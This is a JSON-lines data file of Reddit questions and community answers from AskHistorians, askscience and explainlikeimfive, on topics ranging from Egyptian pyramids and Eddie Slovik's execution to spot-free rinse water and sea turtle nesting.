{"q_id": "2b2g6d", "title": "Did people ever bury or otherwise inter valuables for protection?", "selftext": "As a general/common practice, the way we keep things in safety deposit boxes today.\n\nBesides pirates I mean (Did pirates even do that?).\n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2b2g6d/did_people_ever_bury_or_otherwise_inter_valuables/", "answers": {"a_id": ["cj16b6h"], "score": [2], "text": ["No, it was nowhere near the norm for pirates to bury treasure in chests for safety.  Sailors during the seventeenth and eighteenth century did have sea chests (but not all of them, having a sea chest - in fact more didn't have one than did).  Anyway, for pirates, [I would suggest checking out our pirate FAQ that features several questions about pirate treasure myths](_URL_0_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/wiki/dailylife#wiki_the_golden_age_of_piracy.2C_life_of_a_pirate_and_other_related_topics"]]}
{"q_id": "9l9p8e", "title": "Why didn't the ancient Egyptians build three sided pyramids?", "selftext": "Wouldn't that have been easier?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9l9p8e/why_didnt_the_ancient_egyptians_build_three_sided/", "answers": {"a_id": ["e754trg", "e75zz57"], "score": [2, 2], "text": ["Hey there,\n\nJust to let you know, your question is fine, and we're letting it stand. However, you should be aware that questions framed as 'Why didn't X do Y' relatively often don't get an answer that meets our standards (in our experience as moderators). There are a few reasons for this. Firstly, it often can be difficult to prove the counterfactual: historians know much more about what happened than what might have happened. Secondly, 'why didn't X do Y' questions are sometimes phrased in an ahistorical way. It's worth remembering that people in the past couldn't see into the future, and they generally didn't have all the information we now have about their situations; things that look obvious now didn't necessarily look that way at the time.\n\nIf you end up not getting a response after a day or two, consider asking a new question focusing instead on why what happened did happen (rather than why what didn't happen didn't happen) - this kind of question is more likely to get a response in our experience. Hope this helps!", "While stated previously I can't necesarily give you specific reason why there are no 3-sided pyramids, I can give you a few general points of interest that may help on why there are 4-sided pyramids.  \n\nThe Great pyramid is probably the most famous of all of the ancient egyptian pyramids and as all of the others is 4 sided (althought contrary to popular belief it actually is 8-sided, which can be seen from aeriel photographs). The Great Pyramid is surpising well aligned with the cardinal points on a compass, that being north, south, east and west, which would suggest that it was purposefully done, if this is true it would stand to reason that the four sides would be necessary to face each direction. \n\nLinguistically and culturally humans like using four general directions, forward, backwards, left, right. There are a few lanuagues that even use the cardinal directions instead of general directions, this is generally why people all around the world build structures with four walls. \n\nThe last general point to make regarding pyramids would be a popular theory on how they were built, 3D scans seem to suggest that the pyramids were built using spiraling ramps up the side of the pyramids. ([Imagery of Cheops Pyramid](_URL_0_) showing ramps) (\"Imaging the Cheops Pyramid\" by Bui, H.D. 2012). If you were to attempting using this building method with a three sided pyramid you would be forced to make a 120 degree turn, instead of a 90 degree turn, which for obvious reason would be much more difficult. \n\n & #x200B;\n\nI hope these quick general points help point you towards why four sided pyramids are the norm.\n\n & #x200B;"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://4.bp.blogspot.com/_2ty5iD3P_1c/S98WlkRUsYI/AAAAAAAAADg/9gYHH4nWRP0/s1600/Density+imaging+of+the+Cheops+pyramid+(2010).JPG"]]}
{"q_id": "1d3chd", "title": "If I spin a marble on a smooth surface, it appears to slide along the plane. Is it rolling, is it actually sliding?", "selftext": "I have a marble and I set it spinning horizontally to the desk.  The desk is slightly out of level.  The marble will move towards the lower part of the desk while continuing to spin.  \n\nIf the marble wasn't spinning it would roll along this plane, but when it is spinning, it appears not roll, it looks like it is sliding.\n\nWhat is actually happening?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1d3chd/if_i_spin_a_marble_on_a_smooth_surface_it_appears/", "answers": {"a_id": ["c9mgz3n", "c9mh8ay", "c9mwn9s", "c9n068s"], "score": [10, 16, 2, 2], "text": ["It should be \"sliding\" because the angular momentum generated by spinning the marble will create torque that resists the molecule turning outside of the direction of its spin.", "Yeah, it can slide/skid. See how a [bowling ball moves](_URL_0_) for an example of both sliding and rolling.\n", "I'm surprised no one has said this, but if the axis of rotation is not exactly vertical then it is rolling. Probably along a curved path.", "Neither. Depending on the angle of the grain of the material in the desk and the marble, the best word to describe it's motion in \"screwing\" or \"unscrewing\". "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.youtube.com/watch?v=R4Vjmhr_sbA"], [], []]}
{"q_id": "154gim", "title": " What's in the \"Spot Free Rinse\" at car washes?", "selftext": "Is it just filtered water, or is there something they add?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/154gim/whats_in_the_spot_free_rinse_at_car_washes/", "answers": {"a_id": ["c7j8hkk", "c7jbphp", "c7jfw0u"], "score": [16, 2, 10], "text": ["Just a filter. The spots are caused by minerals in the water that are left behind as the water evaporates. [You can buy a filter for use on your hose at home.](_URL_0_)", "Just a water softener and a water filter. No minerals or extra chemicals to stay behind after the water evaporates. ", "The only way to really get \"spot-free\" is to use distilled water or Reverse Osmosis water, deionized water will work pretty well, but it still contains salt. The rinse agents they add are non-ionic surfactants which chelate the salts to keep them in solution, it's similar to jet-dry in the dish washer.\n\nLet's dig into the reasons a bit more.\n\nDistilled and reverse-osmosis actually give you pretty pure water, that is free of salts.  If it's just water, it won't spot.  Spots come from water drops evaporating and leaving behind whatever salts or other substances that were disolved in the water.\n\nDeionized water is produced by running the water over an ion-exchange resin which exchanges the calcium and magnesium ions for sodium ions.  \"Deionized\" refers to the hard-water ions, not all ions.  The small amount of sodium salts can form some spots, but they wash off really easily, and don't need to be scrubbed, so deionized is often \"good enough.\"  Calcium and magnesium salts are the cause of hard water spots on your shower, and your car.  They are hard to wash off because they have inverse solubility, meaning they are less soluble in hot water than cold. (That's a slightly more complicated explanation.)\n\nIon exchanges resins work by taking advantage of the difference in bonding strength to sulfonates (the resin is a sulfonated styrene-divinyl benzene suspension polymer) between sodium ions and calcium or magnesium. Consider the solubility difference between sodium sulfate (fully soluble in water) and calcium sulfate (that's drywall) and you'll get the basics of the deal.\n\nTo recharge the ion exchange resin you run a very concentrated sodium chloride solution over it, and the entropic factors take care of pushing the Ca and Mg salts off (as CaCl2 and MgCl2.)\n\nOk, sorry for the disjunction, it's been a long day of driving across country, I'm a bit tired.  If you have follow up questions, just ask and I'll try to answer in a (hopefully) meaningful way.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Mr-Clean-AutoDry-System-Starter/dp/B0006M56CE"], [], []]}
{"q_id": "af8m6n", "title": "what's happening in france politically and who are the yellow vests?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/af8m6n/eli5_whats_happening_in_france_politically_and/", "answers": {"a_id": ["edweo2j", "edwojf2", "edwptck", "edwrdr1"], "score": [105, 9, 2, 3], "text": ["President Macron heavily taxed fuel in an effort to contribute less to climate change. Rural people who use their cars and trucks for work didn't like the outrageous fuel prices. Everyone in France is required to have a yellow reflective vest in their vehicle in case of emergencies. The protesters just used them to identify one another. Macron has caved to almost all of the protests demands except for resigning. He's abandoned the fuel taxes, raised minimum wage and removed several other taxes but I personally don't think they'll stop until he resigns. ", "As there is a strong media coverage, it seems that all of France is in Yellow vests. There is around 10k to 20k protesters every saturday. France population is over 66 millions.", "Something I didn\u2019t see anyone say is everyone in France has to have a yellow vest in their car, which is why they wear them. ", "The immediate concern is taxation, but the longer term deal (and the reason there's so much instability and right-wing revanchism in France and most of the EU is the general economic malaise - stagnant wages in nominal terms (declining in real), piss poor economic growth, lack of opportunity, a top-heavy labor force that's highly educated mated with a jobs market that can't fully utilize them. Then you have the problems of the Euro and the fact that many people in the EU bloc countries feel politically disenfranchised because their national governments seem powerless compared to the economic masters-of-the-universe at the ECB who control the Euro and thus control each country indirectly.\n\nThe protests in france are just another iteration of what happened in Greece a few years ago."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2pyp15", "title": "During the WWII era, were US soldiers who were guilty of mutiny executed?", "selftext": "I recently watched the first episode of Band of Brothers and they mention this... I thought it was curious. Does the US have a history of lining soldiers up and executing them under these circumstances? Does the US do this now?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2pyp15/during_the_wwii_era_were_us_soldiers_who_were/", "answers": {"a_id": ["cn1jsdw"], "score": [11], "text": ["Hi mate, the word you may be looking for is \"desertion\", the common shirking-of-duty charge - I can't find any instances of American sailors engaging in mutiny during the time you've asked about. During the second world war over[ 21,000 American soldiers were charged in courts martial for desertion, 49 death sentences were handed out, and only one poor lad was executed for the crime](_URL_0_).\n\nPrivate Eddie Slovik is the only American soldier executed for desertion since their Civil War. He was a replacement in the Western Front, and got a rough deal. From his own confession (all sic'd): \n\n\"I was so scared nerves and trembling that at the time the other replacements moved out I couldn\u2019t move. I stayed their in my fox hole till it was quite and I was able to move. I then walked in town. Not seeing any of our troops so I stayed over night at a French hospital. The next morning I turned myself over to the Canadian Provost Corp. After being with them six weeks I was turned over to American M.R They turned me lose. I told my commanding officer my story. I said that if I had to go out their again Id run away. He said their was nothing he could do for me so I ran away again AND ILL RUN AWAY AGAIN IF I HAVE TO GO OUT THEIR.\" \n\nHis court martial from beginning to the death sentence being handed down was under two hours long. He did himself no favors by confessing to the charge and saying he'd do it again. \n\nUnder appeal,[ it was the opinion of the panel that](_URL_1_) \"He has directly challenged the authority of the government, and future discipline depends upon a resolute reply to this challenge. If the death penalty is ever to be imposed for desertion, it should be imposed in this case, not as a punitive measure nor as retribution, but to maintain that discipline upon which alone an army can succeed against the enemy.\"\n\nHe was shot three weeks after his conviction. [This book should cover just about everything involved with the case](_URL_2_); and as mentioned, Pvt. Slovik is the only American executed for desertion since 1865."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.americanheritage.com/node/55767", "http://www.executedtoday.com/2009/01/31/1945-private-eddie-slovik-desertion/", "http://www.amazon.com/exec/obidos/ASIN/1594160031/exectoda-20"]]}
{"q_id": "pgh7i", "title": "In a car with a manual transmission, is it more fuel efficient to put the car in neutral when coming to a stop or leave it in gear (or downshift) and let it \"wind down?\"", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/pgh7i/in_a_car_with_a_manual_transmission_is_it_more/", "answers": {"a_id": ["c3p5y13", "c3p6hmn", "c3p6oag", "c3p6u3z", "c3p6ul8", "c3p758a", "c3p7gj2", "c3p7hrd", "c3p7hyc", "c3p7nm1", "c3p7oee", "c3p7skf", "c3p8p37"], "score": [194, 2, 7, 3, 3, 11, 15, 3, 3, 2, 2, 2, 2], "text": ["For most modern cars, (I'm talking about manuals in particular right now) DFCO (deceleration fuel cut-off) activates when you are in gear and release the throttle pedal. In layman's terms, it allows the engine to continue turning without fuel being injected since the wheels are doing the (deceleration) work for the engine. So it is more fuel efficient to keep in gear and let off the throttle than to shift to neutral and idle. If you shift to neutral and idle, the engine has to continue adding fuel to turn itself, since the wheels are no longer connected and therefore not providing deceleration to the engine.", "This ultimately depends on too many factors to make a blanket statement.  \n\nHow the DFCO works is specific to the type of car you are driving.   DFCO works within a certain RPM range, which is different for each model/manufacturer.   Having your RPM's to high or to low will cause DFCO to not engage. \n\nTraffic conditions also will play into this for real world applications.   We can do a battery of  tests approaching a stop sign in a country road with no traffic, but the results will be different on a day to day basis when you will deal with other drivers.\n\nSpecific situations also will influence which process would give better fuel efficiency such as a big hill on a highway vs slow speed city driving.  \n\nUltimately the driver, the car, and the driving conditions will determine what works best in a given situation, so you probably are better off testing each method to make your determination.\n\n ", "I slip it into neutral in city driving to reduce the amount of strain on my clutch. I figure every time I press my clutch down I'm closer to a 1,500- 2,000 dollar repair. Fuel efficiency has to be minimal at that point?", "In most newer cars, it is beneficial to keep the car in gear. Often the injectors will only fully shut off when the car is in gear. With that being said, it is sometimes difficult to engine-brake to every stop so I'd recommend some combination of both. The fuel difference is really negligable.", "coasting in neutral is illegal in some states. Wiki has a relevant fuel economy maximizing behavior entry", "There's alot on this page that looks like it's been copied and pasted from the internet without any context, so I'll answer these to the best of my knowledge as a mechanic.   \n\nWhen a car is in deceleration mode, the newer models are starting to cut off fuel completely until the gas pedal is reapplied or until the car's rpm's get close to idle speed.  They are using this in both manual's and automatics, the automatics downshift themselves before you get to idle rpm in that gear. I'd use the gears to brake in a manual to save money on brake replacement as long as you don't try to downshift into the red on the rpm.  \n\nAlso the reason why a manual slows your car down faster than an automatic when you take your foot off the pedal is that the manual is a set of gears meshed together using the direct energy from the spinning engine to spin the transmission, whereas on an automatic the engine applies force to a torque converter which flings out liquid to the pump who's splines are opposed to the direction of the water causing it to turn, but they are both on bearings so when the torque converter is behind the pump, it's not being slowed down nearly as much as using kinetic energy to spin the engine like you do in a manual when the gears are slowing you down. So an automatic is more like a skateboard, you can push on it hard let go and you'll keep coasting. ", "This is a courtesy reminder from the moderators of AskScience that just because you drive a car, you are not an expert in automotive mechanics or fluid dynamics.\n\nPlease keep the content of your comments restricted to scientific, sourced statements.", "[Cecil Adams did a good piece on this back in '98.](_URL_0_)\n\nThe conclusion that Cecil hints at and Click and Clack state explicitly is that shifting down is just unnecessary wear on your transmission components, which are much more expensive to replace than brake pads.  ", "Also, when gearing down, you use the momentum(energy) of the vehicle to spin the alternator and ac compressor.  This on top of saving the brake pads from wear and heat generation.  Just another advantage of manual.  On a long hill down, it can be a few minutes of free ac and electricity.", "I thought Popular Mechanics just answered this through testing a couple months ago. If I recall correctly its better to downshift. But they didn't recommend it because replacing brakes is cheaper than replacing a transmission.", "I grew up in a garage, and I know from experience, it's about a million times easier (and CHEAPER) to replace brake pads, rotors, etc., than it is to replace a clutch. Downshifting is so unnecessary unless you're driving some sort of super car. \n\nI'm not sure about fuel efficiency, however downshifting immediately forces higher rpms...\n\nIn the long run, it's MUCH more economical (and less a pain in the ass) to do a brake job. ", "I can't think of anything more gratifying than heel  &  toe downshifting.", "I don't Understand why everyone thinks engine braking will significantly wear the clutch and synchros. Unless you are intentionally downshifting to gain engine braking, then the clutch and synchros take no more wear. If anything, depressing the clutch pedal to pull the shifter into neutral will add wear to the clutch disk. The clutch experiences more wear only when being disengaged or engaged. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], ["http://www.straightdope.com/columns/read/1377/to-slow-a-stick-shift-car-should-you-brake-or-downshift"], [], [], [], [], []]}
{"q_id": "7mf3at", "title": "Was the irony of America going to war with the Barbary pirates over enslaving Americans, while they themselves enslaved people, ever pointed out at the time?", "selftext": "I imagine abolitionists could see how we fought pirates for slavery while literally having slaves would be nice political fodder. Cartoons, maybe?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7mf3at/was_the_irony_of_america_going_to_war_with_the/", "answers": {"a_id": ["dru45i3"], "score": [56], "text": ["The impression of sailors was not an exclusive activity of the Barbary States, neither were acts of holding hostages for ransom. Although this issue was a concern for the American government, it's an oversimplification to say we went to war with Algeria, Tunis, and Tripoli over the capture of American sailors and merchants. It ignores the larger reasons surrounding this conflict. \n\nThe bigger issues involved the disruption of lucrative American trade in the Mediterranean, America's standing in the world, their ability to protect their trade, and the growing debate about whether to fund a permanent navy or not.\n\nThe very young government of the United States was not only figuring itself out but it was a junior member on the diplomatic scene. Whereas the great powers and the major powers like Great Britain, France, and Sweden, had the treasury funds to pay off the pirates, the Americans often did not. I, personally, speculate that it would be of interest for the great/major powers to continue this system of paying ransoms to encourage their own merchant vessels to get passage while hampering the smaller competitors that couldn't pay, like America. It didn't make financial sense for the great/major powers to use their navy against the people who were effectively regulating the Mediterranean trade in the favor of the greats and majors. I don't believe this analysis was put forward in the books I'm sourcing, but it makes enough sense to me from my readings to make mention of it.\n\nThe loss of income from this trade, the protests by merchants and the families of captives, put a lot of pressure on the young American government to solve this problem. One issue was whether paying the tribute was worthwhile compared to the loss of trade (it was but not at the usurious prices quoted to Americans, which was often much higher than those tribute prices offered to the great/major powers), or whether raising a navy for a military action would exceed in cost the gains from protecting this trade. Many including, Thomas Jefferson, and John Adams, agreed that the tribute was excessive, and exceeded what America had in the Treasury, and agreed that the cost of a navy would not exceed the gains from protecting the trade. A military action with the navy was becoming the prevailing solution.\n\nThe next issue then became was whether to having a standing navy or a temporary navy to solve conflicts as they arose. Both sides had strong arguments and up to this point the side against a standing navy had the right of way. There was a compromise solution floated for keeping a fleet of small gunboats that excelled in shallow, coastal waters. Part of the reasoning for this idea was that quantity would prevail over the quality of larger ships (and be more cost effective), and for many in the anti-navy lobby it also meant that the United States was less likely to use their Navy for overseas adventures (isolationism was a prevalent and significant idea in this time period for America). One of the primary arguments against a permanent navy was not only the tax that would have to be levied to maintain it, but also the belief among many that the United States had no need for a navy because it should never be involved in that capacity in foreign affairs.\n\nThe pro-navy lobby won, and luckily the gunboat idea was axed in favor of larger warships. Six Frigates were commissioned to make a small but powerful standing navy. The driving force for this decision was making the Barbary pirates pay for their transgressions, getting prisoners released, allowing leverage for ransom payments, and projecting power on the world stage.\n\nThe long story short is that through several efforts not only did the Navy effectively ward off the pirates, it showed enough firepower in naval bombardment, coupled with land invasion using local mercenaries, to get American hostages freed, and to get tribute-less terms for free passage (this is not entirely true, there is a notable bungle by an American diplomat that caused America to pay once at the end of the conflict when it is believed the Tripoli ruler had no choice but to accept terms without a ransom payment, the story is in the Jefferson book.)\n\nThe story of the Barbary Coast wars is absolutely fascinating, riveting, and I think incredibly underrated in American history. It was the birth of a standing Navy, it was the first showcase of American might in world affairs, and the young America effectively ended state-sanctioned piracy in the Barbary Coast using military force. Some of the details include incredible heroism, incompetent bungling, and overall fascinating insights into people and governments. \n\nThe books that I'm sourcing these facts and ideas from is Six Frigates by Ian Toll, and Thomas Jefferson and the Tripoli Pirates by Brian Kilmeade, both are interesting and exciting reads. I highly recommend them to the history buff. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "44qn6o", "title": "what are the hygiene differences between washing hands after a #2 vs #1?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44qn6o/eli5_what_are_the_hygiene_differences_between/", "answers": {"a_id": ["czs53np"], "score": [2], "text": ["Even the queen of England pokes her finger throigh the toilet paper every once in a while. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "5svf6t", "title": "what is actually meant by the term geoeconomics?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5svf6t/eli5what_is_actually_meant_by_the_term/", "answers": {"a_id": ["ddi43qm"], "score": [4], "text": ["While economics studies the market in a more abstract way, geoeconomics considers the geographical and political factors that affect the market in a given location, such as natural resource availability, isolation, distance from the industrial centers, trade relations with neighbouring countries, etc."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1j62pe", "title": "Are there other animals that have a pattern baldness gene?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1j62pe/are_there_other_animals_that_have_a_pattern/", "answers": {"a_id": ["cbbh9sv"], "score": [2], "text": ["I know it occurs in some canines that is associated with a genetic disorder of hair follicle miniaturization.\n\n'Evolution-wise' It's not that it was developed for a cause, it's a mutation, if it's not naturally selected against, it would be allowed to continue.\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3g9060", "title": "how does gucci mane continue to release albums while he's in prison?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3g9060/eli5_how_does_gucci_mane_continue_to_release/", "answers": {"a_id": ["ctvz17b", "ctw5v4q", "ctwdd2v"], "score": [155, 44, 9], "text": ["He has an engineer named Sean Paine  who has several hard drives filled with Gucci verses. Everything you are hearing was recorded before he went to jail. ", "Say what you want about Gucci but that dude is in the booth putting in hella work whenever he ain't in the clink ", "An even better question- How the fuck I'm supposed to go back next semester knowing full well Gucci locked up?!?!?!"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "2y5qdk", "title": "why do some people chronically have difficulty remembering to do things such as closing doors, turning off lights, screwing caps back on perishable items without knowing they are doing it?", "selftext": "This extends to shutting the front door of a house after exiting, the door to a fridge, the door to a car; ziplock packages, toothpaste tubes, etc.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2y5qdk/eli5_why_do_some_people_chronically_have/", "answers": {"a_id": ["cp6h56w", "cp6hnbc", "cp6hqwl", "cp6jou3"], "score": [2, 2, 3, 2], "text": ["Either they're lazy, they're jerks, they didn't grow up with these habits so they're not accustomed to them, or they're genuinely forgetful.", "I am this person. Basically to function I have to live by a set routine or everything is a complete mess. I don't understand how everyone else is able to remember ask those little details!!!!! ", "My problem is that I am usually thinking of something important or highly technical and I dont have a reserve of mental processes to juggle minor things that dont directly affect the thought/task at hand. ", "ADD. I try so hard to remember these basic little things. It's frustrating that it doesn't come naturally. It's like some really complicated tasks take no effort but little things like cleaning and turning the oven off are difficult. Not difficult to do but I don't think about them or become sidetracked. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "fk7hlz", "title": "why does caffeine make you feel better temporarily when sick and why is it in so many allergy/cold/flu meds?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/fk7hlz/eli5_why_does_caffeine_make_you_feel_better/", "answers": {"a_id": ["fkr32m3", "fkr6f65", "fkrlkxa"], "score": [12, 87, 3], "text": ["Caffeine makes acetaminophen, the active pain/fever reducer in Tylenol, absorb faster in the body. This makes the pain relief occur quicker so you feel better sooner.", "Caffeine also has mild analgesic ( pain killer ) effects. In chemistry it is also known as an impact booster. It makes the effects of the cold or flu medication which is usually a form of pseudoephedrine/ acetaminophen absorb faster it increases its effect. Also the active ingredient in cold and flu medications ( pseudoephedrine or pseudo epinephrine  ) is normally a vasoconstrictor, it makes the blood vessels constrict - Caffeine is also a mild vasoconstrictor.\n\nThis vasoconstriction is why your sinuses suddenly clear up and you can breathe. Your sinuses when you have a cold are congested with blood flow to the tissue, this congestion ( swelling ) is what leads to the feeling of pressure and why you can't breathe normally through your nose. The vaso constrictor constricts blood vessels reducing blood flow, and thus congestion. For the fellas reading this, this is often the reason why if you are on cold or allergy medication it is often difficult to get an erection. You may also notice penile shrinkage as if you just went swimming while on these medications- again... constricted blood flow.\n\nThe active ingredients in erectile dysfunction medications have the exact opposite effect. They are called vasodilators. They relax or open up the blood vessels allowing for more blood flow. This relaxing of blood vessels effect is also one of the primary mechanisms in high blood pressure medication.\n\nFun fact, Viagra was being developed as a blood pressure medication initially, the ability to get an erection was a side effect noted by the clinical staff while studying the side effects of this new blood pressure medication on patients. Pfizer obviously saw the potential market value of this so-called side effect and rebranded Viagra as an erectile dysfunction medication instead of a high blood pressure medication.", "What country are you in? I can honestly say as someone just a few weeks from becoming a pharmacist in the US, I\u2019ve never seen caffeine in a cold/flu product. Now I have seen it in some menstrual pain products, and I have been told that is primarily for its diuretic effects."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "7g0yln", "title": "What is the African equivalent of a knight or samurai?", "selftext": "Did kingdoms in ancient Africa have highly trained warriors like that of Europe and Asia? If so what were they called, how were they trained, and what country were they from?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7g0yln/what_is_the_african_equivalent_of_a_knight_or/", "answers": {"a_id": ["dqg3lwc", "dqggo1s"], "score": [55, 11], "text": ["I can speak for West Africa somewhat. Among the Mande peoples of the Sahel region there is a social class known as Donzos who today serve as hunters, and in earlier times served as professional warriors. Donzos are traditionally organized into \"Tons\" or fraternal bands. Membership in a Donzo Ton is not strictly hereditary and new members could be initiated into a Ton if they learned to follow the Ton's code of conduct. Most Donzo traditionally come from members of the \"Horon\" caste, who were essentially the \"freeborn\" or \"nobility\" of the Mande peoples though members of other castes do join as well. Tons are thus not as strictly defined by a caste system as many other aspects of Mande society. Each Donzo Ton is lead by an elder known as a Donzokuntigi, though Tons are highly egalitarian will often make decisions collectively at gatherings known as tonsigi.\n\nThough are stories of Donzos as far back as the Mali Empire Donzo Tons played a particularily important role in the formation of new states after the fall of the Songhai Empire in the 16th century. A Donzo Ton in service to the Faama or King of Segou was reorganized into an effective fighting force by Bit\u00f2n Coulibaly. Coulibaly went on to found the Bambara Empire. Unlike european knights or japanese Samurai, the Donzo do not traditionally own a great deal of land as individuals; they instead live by hunting and selling game from land not used for farming or pastoralism. Donzos are nonetheless highly respected by their communities in Mande society and are commonly called on for defense and security.\n\nSince the end of the colonial era, Donzo Tons have seen a great deal of revival as a source of order and law enforcement by communities that are not protected by state institutions. Donzos have increasingly been drawn to this line of work as revenue from hunting has declined due to the expansion of farmland, overhunting and drought. Donzos today continue serve in Mali and Cote D'Ivoire as vigilantes and as private security under the hire of local elites.\n\nSources:\n\nBassett, Thomas J. \"Dangerous Pursuits: Hunter Associations ( Donzo Ton) and National Politics in C\u00f4te DIvoire.\" Africa 73, no. 01 (2003): 1-30. doi:10.3366/afr.2003.73.1.1.\n\nHellweg, Joseph. \"Encompassing the State: Sacrifice and Security in the Hunters' Movement of C\u00f4te d'Ivoire.\" Africa Today, 2004, 3-28. _URL_0_.\n\nLilyan, Kesteloot L'EPOP\u00c9E BAMBARA DE S\u00c9GOU I and II, chez Nathan en 1972. Elle fut reprise par L'Harmattan en 1993 France\n\n", "You might like /u/khosikulu and /u/faceintheblue writing about Zulu *impis* and *amabuthos* in [this thread on Zulu military power](_URL_2_). \n\nIf you're specifically interested in the *religious* aspects of European knighthood - the archetypal knight being essentially a fighting monk, what *Le Morte D'Arthur* refers to as \"apostles\" or \"goodly men to bear arms\" - then you might be interested in reading Yoruba sacred traditions about the Warriors (Guerreros), who show up in American, Caribbean, and Latin American ADTs. \n\nI think /u/firedrops could comment more about that (check out [this discussion](_URL_1_)); reading [Joseph Murphy's *Santeria: African Spirits in America*](_URL_0_) would probably also be of interest. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.jstor.org/stable/4187608?seq=1#page_scan_tab_contents"], ["https://books.google.com/books/about/Santer%C3%ADa.html?id=oLYZETMjFigC", "https://www.reddit.com/r/AskHistorians/comments/32oto6/ama_african_diaspora_in_the_caribbean_with_a/", "https://www.reddit.com/r/AskHistorians/comments/y3ek6/how_great_a_military_power_was_the_zulu_nation/"]]}
{"q_id": "d3n48d", "title": "- why can't malaysia do anything about the annual haze problem caused by indonesia?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/d3n48d/eli5_why_cant_malaysia_do_anything_about_the/", "answers": {"a_id": ["f03v687"], "score": [8], "text": ["The Treaty of Westphalia in 1648 set the rules for sovereign states to control what happens within their borders.  Malaysia has no jurisdiction in the territory of Indonesia.  So, they can't do anything there.\n\nThey can go to the UN and complain diplomatically, which they are doing, so it's not fair to say \"can't do anything\"."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3nrg1p", "title": "how does an insider cheat at a fantasy football site?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3nrg1p/eli5_how_does_an_insider_cheat_at_a_fantasy/", "answers": {"a_id": ["cvr3bea"], "score": [3], "text": ["Can someone explain to me what a fantasy football team is?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "21d4ng", "title": "If an animal that returns to its birthplace goes somewhere else, will it's offspring return to the historical birthplace or the new one?", "selftext": "Let's say a family of sea turtles have nested on island A for multiple generations, but Sally ended up nesting at island B a thousand miles away. Where will Sallys offspring nest? Does this not happen? Do we know? Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/21d4ng/if_an_animal_that_returns_to_its_birthplace_goes/", "answers": {"a_id": ["cgbwojp"], "score": [4], "text": ["Good question!\n\nThe short of it is that Sally's offspring will return to the place that Sally laid them, not the historical nesting ground.\n\nThe reason for this is pretty straightforward: they don't know how to get to the historical nesting ground! A lot of migrating birds will migrate to an area they've never been to before but they can do this because they often just follow others of their species.\n\nSo think about Harry Hummingbird. Harry's pretty young and he doesn't where to go, so he talks to his friend, Henrietta, who has migrated before. Harry follows Henrietta and this becomes his normal migration route. Most birds aren't specific to an individual pond or lake or specific place, they are going more for general areas. Even that is flexible. If Harry Hummingbird is travelling two years later and he gets to a point a little further north than normal that has way more food than he found last year... well, he's going to stop right there. The odds are other hummingbirds will too, so he'll get to mate either way!\n\nSo sliding back to Sally Sea Turtle, the historical nesting ground is only her nesting ground because that's where she was born. If she was born on another island, she'd go back to that island. Of course, it may change. If she's on her way to the nesting ground, has not mated yet, and arrives unfertilized... well, Sally might just say \"I need to go get me some lovin',\" thus heading to another area where she thinks she may find more turtles.\n\nInstincts are strong. The trick is that instincts can be overriden by other instincts. Does Sally want to go to the same nesting ground not be able to lay eggs, or go to a new nesting ground and lay eggs somewhere different? She's going to pick the breeding route."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
